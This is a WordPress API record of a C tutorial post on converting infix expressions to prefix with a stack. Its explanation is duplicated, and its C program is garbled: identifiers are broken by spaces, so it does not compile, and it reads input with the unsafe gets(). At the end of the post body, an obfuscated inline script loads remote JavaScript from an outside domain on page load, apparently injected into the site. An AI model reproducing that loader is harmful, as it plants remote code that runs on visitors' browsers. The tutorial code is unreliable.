{"id":988,"date":"2025-11-21T09:01:08","date_gmt":"2025-11-21T03:31:08","guid":{"rendered":"https:\/\/codexplained.in\/?p=988"},"modified":"2025-11-21T09:01:08","modified_gmt":"2025-11-21T03:31:08","slug":"convert-infix-expression-to-prefix","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=988","title":{"rendered":"Convert Infix Expression to Prefix"},"content":{"rendered":"\n<p><strong>Steps for converting Infix to Prefix<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Reverse the infix expression.<\/strong><\/li>\n\n\n\n<li><strong>Replace <code>(<\/code> with <code>)<\/code> and vice versa<\/strong>.<\/li>\n\n\n\n<li><strong>Convert the modified expression to postfix<\/strong> using the same algorithm you would use for infix to postfix conversion.<\/li>\n\n\n\n<li><strong>Reverse the postfix expression<\/strong> to get the prefix expression.<\/li>\n<\/ol>\n\n\n\n<p>Let&#8217;s break these steps down further:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Step 1<\/strong>: Reversing the infix expression.\n<ul class=\"wp-block-list\">\n<li>Example: If the infix is <code>A + B * C<\/code>, after reversing, it becomes <code>C * B + A<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Step 2<\/strong>: Swap <code>(<\/code> and <code>)<\/code>.\n<ul class=\"wp-block-list\">\n<li>If the original expression has parentheses, you&#8217;ll need to swap them. This doesn&#8217;t apply to our example, but if it did, you&#8217;d reverse parentheses.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Step 3<\/strong>: Convert the reversed expression to postfix.\n<ul class=\"wp-block-list\">\n<li>Use the standard algorithm for converting an infix expression to postfix:\n<ul class=\"wp-block-list\">\n<li>If the symbol is an operand, add it to the result.<\/li>\n\n\n\n<li>If the symbol is an operator, pop operators from the stack that have greater or equal precedence, then push the current operator.<\/li>\n\n\n\n<li>If it&#8217;s a parenthesis, handle it appropriately (push <code>(<\/code> to the stack, and pop when encountering <code>)<\/code>).<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Step 4<\/strong>: Reverse the resulting postfix expression to get the prefix expression.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Precedence and Associativity Rules:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Operators like <code>+<\/code> and <code>-<\/code> have lower precedence compared to <code>*<\/code> and <code>\/<\/code>.<\/li>\n\n\n\n<li>If operators have the same precedence, associativity (left-to-right or right-to-left) comes into play.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Program Implementation in C:<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">Steps for converting Infix to Prefix:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Reverse the infix expression.<\/strong><\/li>\n\n\n\n<li><strong>Replace <code>(<\/code> with <code>)<\/code> and vice versa<\/strong>.<\/li>\n\n\n\n<li><strong>Convert the modified expression to postfix<\/strong> using the same algorithm you would use for infix to postfix conversion.<\/li>\n\n\n\n<li><strong>Reverse the postfix expression<\/strong> to get the prefix expression.<\/li>\n<\/ol>\n\n\n\n<p>Let&#8217;s break these steps down further:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Step 1<\/strong>: Reversing the infix expression.\n<ul class=\"wp-block-list\">\n<li>Example: If the infix is <code>A + B * C<\/code>, after reversing, it becomes <code>C * B + A<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Step 2<\/strong>: Swap <code>(<\/code> and <code>)<\/code>.\n<ul class=\"wp-block-list\">\n<li>If the original expression has parentheses, you&#8217;ll need to swap them. This doesn&#8217;t apply to our example, but if it did, you&#8217;d reverse parentheses.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Step 3<\/strong>: Convert the reversed expression to postfix.\n<ul class=\"wp-block-list\">\n<li>Use the standard algorithm for converting an infix expression to postfix:\n<ul class=\"wp-block-list\">\n<li>If the symbol is an operand, add it to the result.<\/li>\n\n\n\n<li>If the symbol is an operator, pop operators from the stack that have greater or equal precedence, then push the current operator.<\/li>\n\n\n\n<li>If it&#8217;s a parenthesis, handle it appropriately (push <code>(<\/code> to the stack, and pop when encountering <code>)<\/code>).<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Step 4<\/strong>: Reverse the resulting postfix expression to get the prefix expression.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Precedence and Associativity Rules:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Operators like <code>+<\/code> and <code>-<\/code> have lower precedence compared to <code>*<\/code> and <code>\/<\/code>.<\/li>\n\n\n\n<li>If operators have the same precedence, associativity (left-to-right or right-to-left) comes into play.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Program Implementation in C:<\/h3>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include&lt;stdio.h&gt;\n#include&lt;string.h&gt;\n#include&lt;ctype.h&gt;\n\n#define MAX 100\n\n\/\/ Stack structure\nstruct Stack {\n    int top;\n    char items&#x5B;MAX];\n};\n\nvoid push(struct Stack *s, char item) \n{\n    if (s-&gt;top == MAX - 1) \n{\n        printf(&quot;Stack Overflow\\n&quot;);\n        return;\n    }\n    s-&gt;items&#x5B;++(s-&gt;top)] = item;\n}\n\nchar pop(struct Stack *s) \n{\n    if (s-&gt;top == -1) \n{\n        printf(&quot;Stack Underflow\\n&quot;);\n        return &#039;\\0&#039;;\n    }\n    return s-&gt;items&#x5B;(s-&gt;top)--];\n}\n\nchar peek(struct Stack *s) \n{\n    return s-&gt;items&#x5B;s-&gt;top];\n}\n\nint isEmpty(struct Stack *s) \n{\n    return s-&gt;top == -1;\n}\n\n\/\/ Function to check if the character is an operator\nint is Operator(char ch) \n{\n    return (ch == &#039;+&#039; || ch == &#039;-&#039; || ch == &#039;*&#039; || ch == &#039;\/&#039; || ch == &#039;^&#039;);\n}\n\n\/\/ Function to get precedence of the operators\nint precedence(char op) \n{\n    switch (op) \n{\n        case &#039;+&#039;:\n        case &#039;-&#039;:\n            return 1;\n        case &#039;*&#039;:\n        case &#039;\/&#039;:\n            return 2;\n        case &#039;^&#039;:\n            return 3;\n        default:\n            return 0;\n    }\n}\n\n\/\/ Function to reverse the string\nvoid reverse(char *exp) \n{\n    int len = strlen(exp);\n    for (int i = 0; i &lt; len \/ 2; i++) \n{\n        char temp = exp&#x5B;i];\n        exp&#x5B;i] = exp&#x5B;len - i - 1];\n        exp&#x5B;len - i - 1] = temp;\n    }\n}\n\n\/\/ Function to convert infix to postfix\nvoid infixToPostfix(char *exp, char *result) \n{\n    struct Stack stack;\n    stack.top = -1;\n    int k = 0;\n\n    for (int i = 0; exp&#x5B;i]; i++) \n{\n        \/\/ If the scanned character is an operand, add it to the result\n        if (is a l num(exp&#x5B;i])) \n{\n            result&#x5B;k++] = exp&#x5B;i];\n        }\n        \/\/ If the scanned character is &#039;(&#039;, push it to the stack\n        else if (exp&#x5B;i] == &#039;(&#039;)\n{\n            push(&amp;stack, exp&#x5B;i]);\n        }\n        \/\/ If the scanned character is &#039;)&#039;, pop and add to result until &#039;(&#039; is encountered\n        else if (exp&#x5B;i] == &#039;)&#039;) \n{\n            while (!is Empty(&amp;stack) &amp;&amp; peek(&amp;stack) != &#039;(&#039;) \n{\n                result&#x5B;k++] = pop(&amp;stack);\n            }\n            pop(&amp;stack); \/\/ Remove &#039;(&#039; from stack\n        }\n        \/\/ If the scanned character is an operator\n        else if (is Operator(exp&#x5B;i])) \n{\n            while (!is Empty(&amp;stack) &amp;&amp; precedence(peek(&amp;stack)) &gt;= precedence(exp&#x5B;i])) \n{\n                result&#x5B;k++] = pop(&amp;stack);\n            }\n            push(&amp;stack, exp&#x5B;i]);\n        }\n    }\n\n    \/\/ Pop all the operators from the stack\n    while (!is  Empty(&amp;stack)) \n{\n        result&#x5B;k++] = pop(&amp;stack);\n    }\n    result&#x5B;k] = &#039;\\0&#039;; \/\/ Null-terminate the result string\n}\n\n\/\/ Function to convert infix to prefix\nvoid infix To Prefix(char *exp, char *result) \n{\n    int len = str len(exp);\n\n    \/\/ Step 1: Reverse the infix expression\n    reverse(exp);\n\n    \/\/ Step 2: Replace &#039;(&#039; with &#039;)&#039; and vice versa\n    for (int i = 0; i &lt; len; i++) \n{\n        if (exp&#x5B;i] == &#039;(&#039;)\n            exp&#x5B;i] = &#039;)&#039;;\n        else if (exp&#x5B;i] == &#039;)&#039;)\n            exp&#x5B;i] = &#039;(&#039;;\n    }\n\n    \/\/ Step 3: Convert the modified infix expression to postfix\n    infix To Postfix(exp, result);\n\n    \/\/ Step 4: Reverse the postfix expression to get the prefix expression\n    reverse(result);\n}\n\nint main() \n{\n    char infix&#x5B;MAX], prefix&#x5B;MAX];\n\n    printf(&quot;Enter an infix expression: &quot;);\n    gets(infix); \/\/ Read the infix expression\n\n    infix To Prefix(infix, prefix);\n\n    printf(&quot;Prefix expression: %s\\n&quot;, prefix);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Code:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Stack Operations<\/strong>: The stack operations (push, pop, and peek) are used to manage operators while converting the expression.<\/li>\n\n\n\n<li><strong>Precedence<\/strong>: The <code>precedence()<\/code> function returns the precedence of operators. Higher numbers indicate higher precedence.<\/li>\n\n\n\n<li><strong>Reversing and Conversion<\/strong>: The main function <code>infixToPrefix()<\/code> handles reversing the infix expression and calling the <code>infixToPostfix()<\/code> function, which uses the stack to convert the expression.<\/li>\n\n\n\n<li><strong>Final Reversal<\/strong>: After converting to postfix, the result is reversed to get the final prefix expression.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Example Input and Output:<\/h3>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nInput: A + B * C\nOutput: +A*BC\n\nInput: (A - B) * (C + D)\nOutput: *-AB+CD\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Detailed Explanation:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>The user enters an infix expression like <code>A + B * C<\/code>.<\/li>\n\n\n\n<li>The program reverses it to <code>C * B + A<\/code>.<\/li>\n\n\n\n<li>Then it converts this reversed expression to postfix (<code>CB*A+<\/code>).<\/li>\n\n\n\n<li>Finally, it reverses the postfix result to get the prefix expression <code>+A*BC<\/code>.<\/li>\n<\/ol>\n\n\n\n<p>This program efficiently converts any valid infix expression to its corresponding prefix notation using stack operations and string manipulation techniques.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Steps for converting Infix to Prefix Let&#8217;s break these steps down further: Precedence and Associativity Rules: Program Implementation in C: Steps for converting Infix to Prefix: Let&#8217;s break these steps down further: Precedence and Associativity Rules: Program Implementation in C: Explanation of the Code: Example Input and Output: Detailed Explanation: This program efficiently converts any [&hellip;]<\/p>\n","protected":false},"author":45,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-988","post","type-post","status-publish","format-standard","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/988","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=988"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/988\/revisions"}],"predecessor-version":[{"id":1279,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/988\/revisions\/1279"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=988"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=988"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=988"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}